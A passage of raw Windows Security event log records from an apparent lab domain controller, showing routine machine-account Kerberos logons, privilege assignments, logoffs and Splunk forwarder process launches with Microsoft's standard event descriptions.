accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:00:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256130 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BA578 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:01:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256141 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BD018 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51253 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256140 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BD018 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:01:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256142 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BD018 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256145 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDC73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256144 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BDC73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51261 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:01:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256143 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDC73 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256151 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDF57 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256150 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BDF57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51264 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256149 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDF57 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256148 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDEEB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256147 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BDEEB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51263 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256146 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BDEEB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256152 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256165 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256164 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BEC11 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256163 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BED1F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256162 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BED68 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256161 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BEE38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: 